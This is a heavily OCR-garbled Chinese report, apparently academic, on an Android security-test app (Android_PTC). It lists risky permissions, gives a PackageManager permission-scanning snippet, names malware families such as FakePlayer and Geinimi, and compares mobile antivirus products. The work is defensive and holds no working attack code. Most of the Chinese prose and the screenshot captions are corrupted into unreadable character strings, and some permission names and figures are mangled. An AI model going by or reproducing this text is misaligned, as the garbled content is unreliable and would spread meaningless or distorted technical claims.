AT R U b s L PRGE o
<uses-permission android:name="android. permission. INTERNET" />
F T AN E - AR KEARY o LR g TR F R P T
FEE M g1 8% e 3 ¥ o p Android Market sV 5% = = bt s ¥ 4250
£ B AR e LR BRI E G T AL
(1) pofF LBt ale
(2) ~EFEFAAL JFREaAY RY F DT E 0 A EH R -
(3) BLHE & 8 i 3 A 2 bt it SD e
(4) fesf B> @ % el ki pen A > 1B g N -
(5) fio b A EFFH -
(6) & p3vpris
Flpb o P ARG SR FAREUR Y AR R - BEL T AR SRRE RN
HENC W
24 BhRELNL

B A 24 % | android. permission. ACCESS_COARSE_LOCATION

Allows an application to access coarse (e.g., Cell-ID, WiFi)
location.

android. permission. ACCESS_FINE_LOCATION
Allows an application to access fine (e.g., GPS) location.
android. permission. READ_CONTACTS

Allows an application to read the user’ s contacts data.
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android. permission. RECEIVE_SMS
Allows an application to monitor incoming SMS messages, to record
or perform processing on them.

android. permission. CAMERA
Required to be able to access the camera device.

android. permission. RECORD_AUDIO
Allows an application to record audio.

android. permission. READ_SMS
Allows an application to read SMS messages.

android. permission. WRITE_CONTACTS
Allows an application to write (but not read) the user’ s contacts
data.

android. permission. PROCESS_OUTGOING_CALLS
Allows an application to monitor, modify, or abort outgoing
calls.

androidspermission. 'READ-HISTORY.BOOKMARKS
Allowssan application to read (but not weite) the user’ s browsing
history /and bhookmarks:

android. permission. RECEIVE MMS
Allows an application temonitor incomingMMS messages, to record
or perform processing.on..thems

android: permission. INTERNET
Allows applications to open networkrsockets.

g %% >3 | android. permission. BRICK
Required to be able to disable the device.

android. permission. MOUNT_FORMAT_FILESYSTEMS

Allows formatting file systems for removable storage.

31ﬁ§%1? #f | android. permission. SEND_SMS
Allows an application to send SMS messages.

android. permission. CALL_PHONE

Allows an application to initiate a phone call without going
through the Dialer user interface for the user to confirm the
call being placed.

android. permission. CHANGE_NETWORK_STATE
Allows applications to change network connectivity state.

@ i EFH
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(1) android. permission. ACCESS_COARSE_LOCATION :
FE T AR LR Wi-Fio& Cell-ID > 1 i JEB~+ fseni i F o - 2t
NES NERER: S I AR E I S SR S L e e Sk

(2) android. permission. ACCESS_FINE_LOCATION :
REFE ARG BRI P S (PSS Hig B S iR

(3) android. permission. READ_CONTACTS :
R TARSNIER RUH RS R K e A T e S e B TR
B A LH o R KRR g e

(4) android. permission. RECEIVE_SMS :
R AN BUE- BRI VORI e 3 K
TN G BEH TS N EASTRE  H Pl 4 R ARG Y Aok B R
@%ﬁ?%ﬁﬁj%ﬁﬁgtrﬁ@?-ﬁ AA SR ek T s Y ob s T
VAT R R Rl e B R R A AN F ARG e A L - el e

(5) android. permission. CAMERA™:
LR TR RUR T RAP P A o RE T ma R ERARST
VLR 7 iy 4p 52 e T B o

(6) android. permission. RECORD-AUDIO*

LI TAR G LR G E R 0T R Fenf A T IR E R -

(7) android. permission. READ_SMS :
REFE ARSI BCUE BN F T R A T

(8) android. permission. WRITE_CONTACTS :
LEFE AR R BB R s A TR &
Lo S DT R

(9) android. permission. PROCESS_OUTGOING_CALLS :
o ;gwﬁ—\#@y T ARE R A IS NI - s [ = ek

(10) android. permission. READ_HISTORY_ BOOKMARKS :
E?%Tﬂﬁﬁj%ﬁﬁ%@*%ﬂﬁﬁﬁﬁﬁ’uaﬁﬁgﬁﬁﬁﬁ’ﬁ%%*
Fer Rl B EEs BFE B RS -

(11) android. permission. RECEIVE_MMS :

V4

AT R ES I Y RAT

I
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R ARSI BT BT S 0 T e RS e
FLELASNENBEFAD> M EeFaF Bl s R AFAG Y ok B
LA AR %ﬁfi»}’ziljﬁﬂfg MooREH Jﬁf h A Fepkm Tl s F ook, p

LR P T R R S B R F Rl R BT A Lo T

(12) android. permission. INTERNET :
LR TARN G PR Y - B osocket A P FhFORG T BBl
i) o

@ i viE i

(1) android. permission. BRICK :
RIFEG ARSI B REY - B o P AERHHIE SR RgEs L
WRLs R mERr o A2V R

(2) android. permission. MOUNT_FORMAT FILESYSTEMS :

R T AR HEG RIS B 2N AR B e 200 4o SD F RN i A TR

%

@ 7

(1) android. permission. SEND_SMS :
RTER T AN BIVSF B e dr R R AR G S B AR o R
gt 2 & etk Hop % "RHE-2010 & ~ 7 TKaspersky #* 1 B Denis Maslennikov
di 25 rTrojan—SMS.AndroidOS.FakePlayer.aJ gk B 47 ;% A Android + #
PR PR EFT BES I RERE AP RN R f A AL &

(2) android. permission. CALL_PHONE :
R ARSI U - BRG f%’W%QE@“5ﬁ6&EK°4ﬁi
LB R AR T BT R R A RE R e 02011 E 1 7 2R
# g4 2 @ "Lookout Mobile Security, 45} » & % TGeinimi, 4 5 4258 538
AN PR R RN R FALT 0 B R d R R RS € & RS
{7 BT q‘m—— P2 e g FRITEEE  Geinimi § T E
SR E e SIM+ i F 1R A4 v IREREPIRE -

(3) android. permission. CHANGE_NETWORK_STATE :
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R ARSI BTULRRERDBEAL ek ALY ORERBERER S H F
BRIRA Bl H b v FIEE § v -
2 * PackageManager 7|1 23N £ AL R 2N > FBRY N E R

14873 » reqPermission F B ¥ 0 AR Ao

PackageManager pm = this. getPackageManager();

final List <Packagelnfo> appinstall =

pm. getInstal ledPackages(PackageManager. GET_PERMISSIONS) ;
for(PackageInfo pInfo:appinstall){

String[ ] reqPermission = plnfo. requestedPermissions;

/) FHE B RS RB LGRS EL KM S 0 ® ¥ equals( )T o

FTRIIAPERFTAANTEEABRGRU Bl 2N - g & R
P .1,:1;'% ;Lmsfgm , rﬂLLj\‘.fFB,({;ﬁEﬁL;}’u % R i \éﬁ?é’ﬁ- 4 f ?fﬁémﬁ)ﬁ ,ﬁ_;hg%ﬁr—r :

if((pInfo. applicationlnfo. flags & ApplicationInfo. FLAG_SYSTEM)==0){
WESHR-% X

}

elsef

[/ e AR 0 R A » KR

Bofs o #-b it enF b 1Y reqPermission F B BTV H 0 FAEN T AR LG
SETLE N SRl

2. Malwares Scan

Android Market % — B#& i * ‘*‘i TR AR T 5o Google R P-B At ani
o bR 1R R - B Google tR B 4e b 25 F ~cfnIp § % {8 ¥ 4 & Android
Market } # 3 &[4] - #¥HRITE gﬁwmﬁ?"*piw¥i# ?@yiﬁﬁm
FHRAEAANT R FE AL E2 BT EHGRMAKRDF L FILFEIREA

s Eﬁi}\‘)\ljxléq’-'&m w
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2011 # 3 * Google = # 7 Android Market * 56 B & & #c#8 2 5 - iZ4 k8

fest o p e B R EMHER D Z BHEFF TMyournet; ~ "we20090202 , &

"Kingmall2010, > A ip- Hp»HAaump ¥ > H LHeT™ £ 5

20 ERHHEE

i/%

B R

ELHMN L

Myournet

Falling Down

Super Guitar Solo

Super History Eraser

Photo Editor

Super Ringtone Maker

Super- Sex-Positions

Hot Sexy Videos

Chess

T [RyEzE Falldown

Hilton Sex Sound

Screaming SexyJapanese Girls

Falling Ball Dodge

Scientific Calculator

Dice Roller

a8 ik

Advanced Currency Converter

App Uninstaller

e e PewPew

Funny Paint

Spider Man

Hwg %

Kingmall2010

Bowling Time

Advanced Barcode Scanner

Supre Bluetooth Transfer

Task Killer Pro

Music Box

Sexy Girls: Japanese

Sexy Legs
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Advanced File Manager

Magic Strobe Light

T b G

& -k 5. Panzer Panic

# % % 4 Mr. Runner

Hoikip 4 g

Advanced App to SD

Super Stopwatch & Timer

Advanced Compass Leveler

Best password safe

#E

A -
S X E

we20090202

Finger Race

Piano

Bubble Shoot

Advanced Sound Manager

Magic-Hypnotic Spiral

Funny Face

Color Blindness Test

Tie a Tie

Quick Notes

Basketball Shot Now

Quick Delete Contacts

Omok Five in a Row

Super Sexy Ringtones

L RRB R

b o

FmE
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4.1 % H e

PRE S N ES

» ¥ pdiEFH On-Line Test & #_0ff-Line Test » 4] 18 » s i 7

™
KR B p e
#

RS R AT TSR TR L P R RS I S

Android Security Test

On-Line Test

Off-Line Test

B 18 : Android _PTC.apk i & &
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I. On-Line Test
2% On-Line Test #4ts ¢ RAZZEPIER P | > +@HF 2 et i g 238
Wi i~ Rl egdde (Security Test) @ 4@ 19 -

'ﬁﬂlﬂ 8:44 an %m 8:42 am

http:ffMD.'I'IB.ZD?.'I... i X http:ﬁMD.'I13.2[3?.142... M

MCTU CCIS LAB

Hoemne

D5 clalmere ramratizn Tewil salecia binch of luncoasalize of eewvock
b el e Uiy tawtL and it prosiden s platlcrm for user m EcEmine
SECurity Test siaiux of the ek and posts of Bl uman phare

amraticn Test] provide the cormpending Teport and

geEon far e users amant phare. atd the mer can
— o iherue wipgeaticn ta fis hiv amart phose convenenity
Ceher 05 Test minhtrator can mat hi gatemy and scmie S o

CEWD

Email To Us
Adminisirator: Syhda Lu
Last Upciate: 2071.03.30

B 19 SRR R A T 6
2% Security Test #defs b R1% 7 EH 2 (700 oo RS LB pF R
S0 4o 20202220 FRFEAAPE A DIEFD 0 L EL R T L P AR
w oo g AR RS o
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ANl B 2:46.m
[Elhttp://140.113.207.142... | |4

Be Awarell Your smart Phﬂﬂ =

a vulnerahility. me beg s in Kars
lisn in tha Wehkii brosne: sngne used b 4

WERING =

it's net a welrmmabilky in the OS5 pr-wry St rasser
hrawasr hased an the Wabidt a

interar: tragmaneaos prabls

and tha sacerity concems st come mth unning o
antwars verons

'n taard on the Matsaploit framessrk (WSF) ard o
axzizratian tol. Vis the predatned fngemrine of o
we Nz 2ut tha sarvice that liwesa =n e ports
acttena tha peneiratian tmt @ sach opening pert 8
the preiosd strscka

Your cell phone is in danger.
Thiv module scpicit 8 sisch overflaw wam vuineratie server for
Lhan a reedweyme ischrigue 1o Sxpas ranfamirEne.

B 20 : 48 A pEEHE Bl 2] : 48 B A RRES AR

6 8:50m

Be Aware!! Your smart phone has a vulnerability.
The bug used in Kelth's atbsck lles In the WebKlL browssr engire used by Android.
The Issue does mat affect Androld 2.2 or lsier werskons. Yoo shaould update your

[ cp § o ] o ] i1o2ice12idic0 T

Bl 220 S iR SRR R TR
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2. Off-Line Test
2-:E Permission Scan ¥ & F 37 % b "G 1AL F 4250 G VL 0 T more #dz

SR g4 TR AR RGP o 4o 23~ 24 -

QUAY 20 @R r100ll AWUAL 20 .a©@Q r+1019

Off-line Test Result
‘ rﬁniizc\!

W Personal information: 2 @ - Slice It! -

System secure: 0

Service that cost money: 0 d 'd T
: andarol .permISSIOn.
Eﬁfﬁ;;‘irg?a' ACCESS_COARSE_LOCATION
S It BRRIREBREN

Personal information: 1 RS
System secure: 0 AL O ..
Service that cost money: 0 android.permission.

% Blox Roll ACCESS_FINE_LOCATION
?‘ Personal information: 1 %“:Jtti'x‘é‘%ﬂ?%ﬂ{m}ﬁ(fﬂﬁﬁt}]
System secure: 0 {ﬁﬁo
Service that cost money: 0
& Quickoffice
Personal information: 1

System secure: 0
Service that cost money: 0

=

B 23 : Permission Scan Bl.24 < Permission Scan # T more & @
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D6 422mm
Off-line Test Result
o r
Te ﬁ; F
E Me n

Your phone has 3 connections.

Android System Version

Malicious application alert

‘fou have no marware from Google's confirmed.

Bl 25 : Malwares Scan & &
2-iE Malwares Scan ¥ A @ * ¥4 VG & ¢ wE R4 o TRET X 2P
Wi-Fi epe &2 > 4o@ 25 ¢
2 K= ‘v J‘, >
4.2 iy B
# i ¢ Android Market ™ 4% i & ¥ I F R ki s T4 6 S L B ER

Rz sl T

b4 BAl A Iy

Anti-Virus 2.8 Frde ool ~ TR A

Antivirus free 1.2.5 F ta 048

Lookout 5.12.1 Tt~ FTHEA s B2 e s B A2
LR AR

NetQin Antivirus 4.8 T il ~ THE > SRR A g

Norton Mobile Security 2.1.0.270 | #F s dckd ~ 32 A2 - THEENL L H

Aegislab antivirus free 0.4.19 | #c#8 ~ § 2 08 v~ ppokw

76 & M £
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2 ieh Android _PTC e it 5 @ R P IRIF B~ B* A2 P G E L Rk
B~ BERARN s o AP S RF RRIEEER T Op A A i g Bl o B
#A i e Android_PTC % = i ] 3t ig= fal7 & #5088 > 4o B 26 #7571 > Android Market
Fenir & et 2 > 3428 1000kb > @ Android PTC &7 & 60kb o 4 jg £ i fif e 5 it §
RRER L TR Ik—g- »Antivirus free 1. 2.5 ¥ - chifFfs ## i 5 & 1008kb> 4= 60kb
e Androis_PTC 4p £ R 7K

¥ ¢t B 26 + o upload frdownload sh#cdy % Jh #_Aegislab antivirus free 0. 4. 19
geprrt e o # % o2 HTC Desire Android 2.2 « AP ie- fAlF 3 S50 &
{ ATende (%> Fh o feRent TR E RS > @ Android _PTC 07 & Adzst i iFpr
TPPPERFT AT o pHN A EE ROt 22 T EEF I AF T N &
By PIRE e r ATEHRRIT D o ¥ X WT F§ BATIE BRI

A ¢ * HTC Magic Android 2.1 7= #&URISERE - Android Market ™ 4« B &
¥ A RS et £ E & > eh o @ A e Android PTC &t 45 4t WebKit + «hifiF o
T R TR R H e

name memory upload download update

’ Anti-Virus 2.8 2530kb  1221kb  265.5kb Yes
E.-‘.ﬂutivirusﬁ-ee 125 1008kb  17.4kb 48 8kb Yes

Lookout 5.12.1 3030kb  65.6kb 182 9kb Yes
FQ NetQlin Antivirus 4.8  1820kb  135.6kb 71.6kb Yes

Norton Mobile 3070kb  24.5kb 28.1kb Yes
Security 2.1.0.270

I Aegislab antivirus 1230khk 0 0kb 261.7Tkh Yes
free 0.4.19

~ Android PTC 60kb 1.3kb kb No
i

B 26 : F» 3 #8822 Android_PTC s s i £ 3t

Foob o360 £ 2 Pl B 360 S E A 2Rk R Y KA
SEP BRSO AR AP BRSNS LT E 2 RS BRSSO
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1f o pEZX 2258 P ENR T, FHR o2 LR TFHY ) FHA
AP E X 2 RH SRR E D UE R F IR P o AR RIGE
KA B F A FH BT RAE I E > {360 TP FELEHRBY BN DT HRA AL

%kﬁoﬂékﬁ—%%%?$$4J§ﬁ£iﬁﬁﬂ*’%%ﬁ%ﬁ%%%#7%£

BE BT AR o b P AP IR RAPES  RR Y F R fRTA
4

S T T

3

XHE

tunneldroid.apk

o

WHFZM : tunneldroid.apk

XA 2 46K

H

B%H : Android

WREA
Better Terminal Emulator Pro_3.26.apk .apk =E= BEFESA
Better_Terminal_Emulator_Pro_3.23.apk .apk &
net.sourceforge.tunneldroid.apk .apk FEF B8
rootexplorer_2_12_4.apk .apk B

B 27 : 360 F ot 2HpIESE
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$7% - B

"g\-l-\.“

A e R0 A BenF Y A A PF I - BieRBE R L % £ 4 Android
LR 2IRFE T - BAY R o B BE S A0k SR B R REESTRB T o I RAL -
Rigr 53 F b ReROFRTIEL AEIHE 2 -

.1 7% = %

APkt - B Android S 8% 2feR] ks ER Y FT P FRE PO D
Boo s RIEEIA > AP E B LN A AR 0 TR A
ﬁﬂ@ﬁ?ﬁﬁ’%ﬁ*%W?%%Wﬁﬁﬂg%%m%%%ﬁ§o?Q%?%BE?
REIRET i R T FRUR DR 2a o R LT S LR 25
ﬁw@ﬁéﬂﬁﬁﬁﬁﬁiﬁ*ﬁ?*iﬁi&%oFﬂ’ﬂW%mmwmujéé
android stack dsc# o HF fi— s B RS AL AT 5 WA T FEHR S
SEE I o ¥ TR A B A S (TR F TR T > M BT S E R
e R AR I - [ e

£ Metasploit T 2 &2 4 $

e M AP 3R R A o 2N 'Faﬁf P EWER AR T S e T EH AR ATT & ol
W B e RGRE L AN IR T R RPN e
2R

5.2 * R &

Android # F ¥ 5 eha 3 P T BT en S 8 k2 — o AR AR PO G 5 4
» Android & 3tehT F A 5 0 B R F) A o T Bz RASAE g ¢ & 31 2 Google i 4 ¢h
A4F RS * Android =865 &P & 1 RIE TPk » AR RARY 2 o AP IR
ARV UL ELCFREEHRBY ZERRR AN BEFL LT S hBEIEL > -
d *t Andoroid Market #& rerfis * 4258 5 B 5 > A ks add 5 ¥ & R ok

3

:.’I,;F]ll'bj\“f?a?"{ 'é;.l ‘;;_Pj:?{%t— f[};gfé%—g/ié’f‘])j?j% %E‘;\‘EI_A\ ,'E iAU’AfIJ%ﬁ:L%iﬁjJ
(ATERLAES LE AN EWETORY -
BiSRT MPFE AP RS RIRET Lo % 7 Android < ¥ % sk PR AR 0 <R
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